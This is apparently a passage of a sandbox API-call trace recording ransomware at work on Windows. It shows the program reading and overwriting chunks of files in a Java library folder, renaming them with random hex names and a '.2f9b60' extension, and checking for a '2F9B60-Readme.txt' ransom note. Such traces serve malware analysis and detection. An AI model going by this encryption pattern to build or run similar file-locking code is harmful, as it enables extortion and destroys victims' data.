0x73842bb4 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x713554e0 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x244b4d0e [0141.930] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0xe53149 [0141.930] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x6359f257 [0141.930] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x26f74d3d [0141.930] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x6ac2c391 [0141.930] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x51a769b3 [0141.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdea0 [0141.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde70 [0141.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0141.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42293dd0 [0141.944] SetFilePointerEx (in: hFile=0x1f8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.944] ReadFile (in: hFile=0x1f8c, lpBuffer=0x42293dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x364ef9c0, lpOverlapped=0x0 | out: lpBuffer=0x42293dd0*, lpNumberOfBytesRead=0x364ef9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0141.989] SetFilePointerEx (in: hFile=0x1f8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0141.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42281180 [0141.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0141.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0141.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0141.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.991] WriteFile (hFile=0x1f8c, lpBuffer=0x42281180, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x364ef9c0, lpOverlapped=0x0) [0179.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42281180) returned 1 [0179.559] SetFilePointerEx (in: hFile=0x1f8c, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.559] ReadFile (in: hFile=0x1f8c, lpBuffer=0x42293dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x364ef9c0, lpOverlapped=0x0 | out: lpBuffer=0x42293dd0*, lpNumberOfBytesRead=0x364ef9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0192.766] SetFilePointerEx (in: hFile=0x1f8c, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0192.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe900 [0192.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139d00 [0192.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139d00) returned 1 [0192.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b5b240 [0192.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139d00 [0192.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139d30 [0192.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139d30) returned 1 [0192.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe900) returned 1 [0192.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0192.770] WriteFile (in: hFile=0x1f8c, lpBuffer=0x42b5b240*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x364ef9c0, lpOverlapped=0x0 | out: lpBuffer=0x42b5b240*, lpNumberOfBytesWritten=0x364ef9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b5b240) returned 1 [0205.654] SetFilePointerEx (in: hFile=0x1f8c, liDistanceToMove=0x7e44f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.654] ReadFile (in: hFile=0x1f8c, lpBuffer=0x42293dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x364ef9c0, lpOverlapped=0x0 | out: lpBuffer=0x42293dd0*, lpNumberOfBytesRead=0x364ef9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.711] SetFilePointerEx (in: hFile=0x1f8c, liDistanceToMove=0x7e44f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0205.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0205.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0205.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aa9e90 [0205.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0205.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0205.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fe0) returned 1 [0205.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0205.715] WriteFile (in: hFile=0x1f8c, lpBuffer=0x42aa9e90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x364ef9c0, lpOverlapped=0x0 | out: lpBuffer=0x42aa9e90*, lpNumberOfBytesWritten=0x364ef9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aa9e90) returned 1 [0215.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431057c0 [0215.075] SetFilePointerEx (in: hFile=0x1f8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.075] WriteFile (in: hFile=0x1f8c, lpBuffer=0x1cebc6d0*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x364efa70, lpOverlapped=0x0 | out: lpBuffer=0x1cebc6d0*, lpNumberOfBytesWritten=0x364efa70*=0x140, lpOverlapped=0x0) returned 1 [0219.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62730 [0219.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9bc0 [0219.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9bc0) returned 1 [0219.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0219.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9bc0 [0219.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b90 [0219.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9b90) returned 1 [0219.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62730) returned 1 [0219.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1cdd9b90 [0219.313] sprintf (in: _Dest=0x1cdd9b90, _Format="%c%c" | out: _Dest="b3") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9b92, _Format="%c%c" | out: _Dest="c9") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9b94, _Format="%c%c" | out: _Dest="4e") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9b96, _Format="%c%c" | out: _Dest="60") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9b98, _Format="%c%c" | out: _Dest="8b") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9b9a, _Format="%c%c" | out: _Dest="44") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9b9c, _Format="%c%c" | out: _Dest="67") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9b9e, _Format="%c%c" | out: _Dest="fa") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9ba0, _Format="%c%c" | out: _Dest="c3") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9ba2, _Format="%c%c" | out: _Dest="db") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9ba4, _Format="%c%c" | out: _Dest="7c") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9ba6, _Format="%c%c" | out: _Dest="4d") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9ba8, _Format="%c%c" | out: _Dest="ac") returned 2 [0219.313] sprintf (in: _Dest=0x1cdd9baa, _Format="%c%c" | out: _Dest="69") returned 2 [0219.313] RtlInitAnsiString (in: DestinationString=0x364efae8, SourceString="b3c94e608b4467fac3db7c4dac69" | out: DestinationString="b3c94e608b4467fac3db7c4dac69") [0219.313] RtlAnsiStringToUnicodeString (in: DestinationString=0x364efab8, SourceString="b3c94e608b4467fac3db7c4dac69", AllocateDestinationString=1 | out: DestinationString="b3c94e608b4467fac3db7c4dac69") returned 0x0 [0219.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce623c0 [0219.314] wcscat (in: _Dest=0x431057c0, _Source="b3c94e6" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\b3c94e6") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\b3c94e6" [0219.314] wcscat (in: _Dest=0x431057c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\b3c94e6.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\b3c94e6.2f9b60" [0219.314] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\b3c94e6.2f9b60", NtPathName=0x364efa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\b3c94e6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a4260 [0237.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4260) returned 1 [0237.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43080e30) returned 1 [0237.124] NtQueryInformationFile (in: FileHandle=0x1f8c, IoStatusBlock=0x364efaf8, FileInformation=0x364efb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x364efaf8, FileInformation=0x364efb08) returned 0x0 [0237.124] NtSetInformationFile (FileHandle=0x1f8c, IoStatusBlock=0x364efaf8, FileInformation=0x364efb08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0238.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431057c0) returned 1 [0238.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce623c0) returned 1 [0238.339] FlushFileBuffers (hFile=0x1f8c) returned 1 [0240.097] CloseHandle (hObject=0x1f8c) returned 1 [0242.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868740 [0242.743] wcscpy (in: _Dest=0x1b868740, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0242.743] wcscat (in: _Dest=0x1b868740, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0242.744] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0242.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868740) returned 1 [0242.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ce0) returned 1 Thread: id = 2085 os_tid = 0x13b0 [0138.410] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar")) returned 0x20 [0140.366] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar", dwFileAttributes=0x20) returned 1 [0140.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fa4 [0141.913] GetFileSizeEx (in: hFile=0x1fa4, lpFileSize=0x36e2f760 | out: lpFileSize=0x36e2f760*=13526060) returned 1 [0141.913] SetFilePointerEx (in: hFile=0x1fa4, liDistanceToMove=0xce6428, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.913] ReadFile (in: hFile=0x1fa4, lpBuffer=0x36e2f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36e2f728, lpOverlapped=0x0 | out: lpBuffer=0x36e2f6e0*, lpNumberOfBytesRead=0x36e2f728*=0x4, lpOverlapped=0x0) returned 1 [0141.977] SetFilePointerEx (in: hFile=0x1fa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0141.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0141.977] NtQuerySystemTime (in: CurrentTime=0x36e2f620 | out: CurrentTime=0x36e2f620*=132462177472246000) returned 0x0 [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x3c62e852 [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x7e4e3f82 [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x5b0865c3 [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x3dd5d107 [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x7fa084f5 [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x6d02ea0 [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x80811d6 [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x1fd42a7f [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x2021fdd6 [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x6da16ebb [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x6642f52c [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x72ae0f3c [0141.977] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x3d9c26b3 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x1ac981a7 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x2e635426 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x7e766049 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x481d3aeb [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x246097b7 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x4da47722 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x30c27702 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x9cd778f [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x4c8ead66 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x5e4217f [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x72ae0f3c [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x5a045d74 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x1bad3a90 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x35b68489 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x6fe288a1 [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x2bb16d8f [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x7b9fc48b [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x4622192b [0141.978] RtlRandomEx (in: Seed=0x36e2f610 | out: Seed=0x36e2f610) returned 0x3d737695 [0141.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe140 [0141.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0141.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0141.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0141.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422979e0 [0141.986] SetFilePointerEx (in: hFile=0x1fa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.986] ReadFile (in: hFile=0x1fa4, lpBuffer=0x422979e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36e2f680, lpOverlapped=0x0 | out: lpBuffer=0x422979e0*, lpNumberOfBytesRead=0x36e2f680*=0x3c00, lpOverlapped=0x0) returned 1 [0142.041] SetFilePointerEx (in: hFile=0x1fa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0142.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0142.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe200 [0142.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe200) returned 1 [0142.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42279960 [0142.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe200 [0142.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0142.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0142.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0142.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0142.043] WriteFile (in: hFile=0x1fa4, lpBuffer=0x42279960*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36e2f680, lpOverlapped=0x0 | out: lpBuffer=0x42279960*, lpNumberOfBytesWritten=0x36e2f680*=0x3c00, lpOverlapped=0x0) returned 1 [0144.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42279960) returned 1 [0144.173] SetFilePointerEx (in: hFile=0x1fa4, liDistanceToMove=0x675c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.173] ReadFile (in: hFile=0x1fa4, lpBuffer=0x422979e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36e2f680, lpOverlapped=0x0 | out: lpBuffer=0x422979e0*, lpNumberOfBytesRead=0x36e2f680*=0x3c00, lpOverlapped=0x0) returned 1 [0144.226] SetFilePointerEx (in: hFile=0x1fa4, liDistanceToMove=0x675c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0144.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a0b0 [0144.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643b0 [0144.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643b0) returned 1 [0144.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42279960 [0144.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643b0 [0144.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a0b0) returned 1 [0144.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0144.227] WriteFile (in: hFile=0x1fa4, lpBuffer=0x42279960*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36e2f680, lpOverlapped=0x0 | out: lpBuffer=0x42279960*, lpNumberOfBytesWritten=0x36e2f680*=0x3c00, lpOverlapped=0x0) returned 1 [0144.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42279960) returned 1 [0144.318] SetFilePointerEx (in: hFile=0x1fa4, liDistanceToMove=0xce282c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.318] ReadFile (in: hFile=0x1fa4, lpBuffer=0x422979e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36e2f680, lpOverlapped=0x0 | out: lpBuffer=0x422979e0*, lpNumberOfBytesRead=0x36e2f680*=0x3c00, lpOverlapped=0x0) returned 1 [0144.347] SetFilePointerEx (in: hFile=0x1fa4, liDistanceToMove=0xce282c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0144.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0144.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643e0 [0144.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643e0) returned 1 [0144.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42331d40 [0144.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643e0 [0144.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202646b0 [0144.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202646b0) returned 1 [0144.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0144.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0144.349] WriteFile (in: hFile=0x1fa4, lpBuffer=0x42331d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36e2f680, lpOverlapped=0x0 | out: lpBuffer=0x42331d40*, lpNumberOfBytesWritten=0x36e2f680*=0x3c00, lpOverlapped=0x0) returned 1 [0144.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42331d40) returned 1 [0144.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9710 [0144.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643e0) returned 1 [0144.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643b0) returned 1 [0144.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe200) returned 1 [0144.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422979e0) returned 1 [0144.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe200 [0144.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0144.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0144.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0144.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0144.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff430 [0144.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff460 [0144.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff460) returned 1 [0144.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0144.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0144.368] RtlAllocateHeap 